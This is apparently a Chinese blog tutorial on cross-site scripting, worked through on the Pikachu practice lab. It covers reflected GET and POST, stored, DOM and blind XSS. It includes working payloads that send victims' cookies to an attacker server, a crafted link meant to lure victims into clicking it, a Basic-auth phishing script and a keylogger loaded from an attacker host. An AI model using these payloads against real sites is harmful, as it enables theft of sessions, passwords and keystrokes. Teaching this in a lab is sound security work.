什么是xss
XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户。 XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、盗取用户cookie,甚至对主机进行远程控制。
XSS攻击类型
危害:存储型 > 反射型 > DOM型
反射型:
交互的数据一般不会被存在数据库里面,一次性,所见即所得,一般出现在查询页面等存储型:
交互的数据会被存在数据库里面,永久性存储,一般出现在留言板,注册等页面DOM型:
不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性,也属于反射型
XSS形成原因
形成XSS漏洞的主要原因是程序中输入和输出的控制不够严格。导致“精心构造”的脚本输入后,在输出到前端时被浏览器当作有效代码解析执行
反射型XSS(get)
我们首先打开Pikachu
右键审查元素。
我们看到对文本框的最大长度做出了限制,修改maxlength="20"
即可。
payload
<script>alert("kali博客")</script>
可以干什么——盗取Cookie
修改/pikachu/pkxss/inc/config.inc.php
中的数据库信息访问 http://localhost/pikachu
,访问管理工具里的XSS后台,初始化数据库。
登录到后台界面
修改/var/www/html/pikachu/pkxss/xcookie
下的cookie.php
,将IP
地址改为漏洞服务器的地址cookie.php
用于接收受害者的cookie
,然后将页面重定向到漏洞服务器的index页面,我们构造的Payload如下
<script>document.location = 'http://192.168.1.14/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
返回到后台
由于是GET类型的XSS漏洞,我们可以直接构造一个带有Payload的URL,诱使受害者点击就能取得Cookiehttp://192.168.1.14/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.1.7%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit
反射型XSS(post)
我们登录一下,默认账号密码是admin 123456
这时候我们不能直接把我们的恶意代码嵌入到URL中
攻击思路如下
1.我们需要自己搭一个恶意站点,然后在网站上放一个post表单
2.将存放POST表单的链接发送给受害者,诱导受害者点击
3.这个POST表单会自动向漏洞服务器提交一个POST请求,实现受害者帮我们提交POST请求的目的
这个POST表单页面是位于攻击者的Kali机器上 /var/www/html/pikachu/pkxss/xcookie 下名为 post.html 的文件
我们需要修改里面 漏洞服务器
和 攻击者
的服务器地址post.html
页面的作用是:当用户访问这个页面时,会自动向漏洞服务器发送POST请求,然后重定向到漏洞服务器的index页面http://192.168.1.14/pkxss/xcookie/post.html
我们只需要诱导受害者点击上面的链接就能窃取用户的Cookie
存储型XSS
存储型XSS和反射型XSS形成的原因是一样的,不同的是存储型XSS下攻击者的可以将脚本注入到后台存储起来,构成更加持久的危害。
我们输入的东西,也直接输出在 p 标签中,看起来没有经过任何转义和处理
下面输入下面的Payload进行测试<script>alert("xss")</script>
成功弹窗,需要注意的是该弹窗是永久性的,当每个人访问这个页面时,都会弹出该窗口。
存储型XSS漏洞利用
我们这里用一个Basic认证去做这个钓鱼攻击。我们在一个存在XSS漏洞的页面上面嵌入一个恶意请求,当用户打开这个页面。这个页面就会像攻击者的服务器发送请求,这个请求会返回一个Basic认证的头部。这时候会弹出一个提示框,要求受害者输入账号密码,从而盗取用户的账号密码
首先攻击者需要构造一个钓鱼页面,用来将发送Basic认证的认证框。修改 /var/www/html/pikachu/pkxss/xfish
下的 fish.php
文件,将IP地址改为攻击者的服务器地址。
构造的Payload如下
<script src="http://192.168.1.14/pkxss/xfish/fish.php"></script>
当用户访问这个留言板时,会出现下面的认证框(永久性)
然后在后台 我们就可以看到刚才记录的密码。
键盘记录
修改 /var/www/html/pikachu/pkxss/rkeypress
下 rk.js
中的IP地址为攻击者地址
rk.js 是攻击代码,我们可以把这个 js 文件放到我们的恶意站点上,然后通过有 XSS 漏洞的页面去调用
这个文件可以记录用户的键盘操作,然后异步发送给攻击者
我们可以用下面的Payload测试一下
<script src="http://192.168.1.14/pkxss/rkeypress/rk.js"></script>
当每个人访问留言板时,就会激活上面的代码。从而获取键盘记录。
DOM型XSS
DOM可以理解为访问HTML的标准接口,DOM里面会把我们的HTML分成一个DOM树
我们可以以这棵树为入口,通过DOM的某些方法对树进行操作,比如对标签的添加、改变和删除等等
DOM这个东西相当于在前端提供了一个通过JS去对HTML进行操作的接口
构造的Payload如下#' onclick=alert("xss")>
XSS之盲打
XSS盲打不是攻击类型,而是一个攻击场景
我们在前台输入
提交后我们输入的内容不会在前对输出,而是提交到了后台,可能管理员会去看。如果我们输入一个JS代码,管理员登录后台管理界面,如果后台把我们的内容输出。那后台管理员可能遭受到我们的XSS攻击,我们提交以下内容
<script>alert("I'm Iron Man")</script>
一旦管理员登录后台,便遭受了XSS攻击。
告辞!
One comment
OωO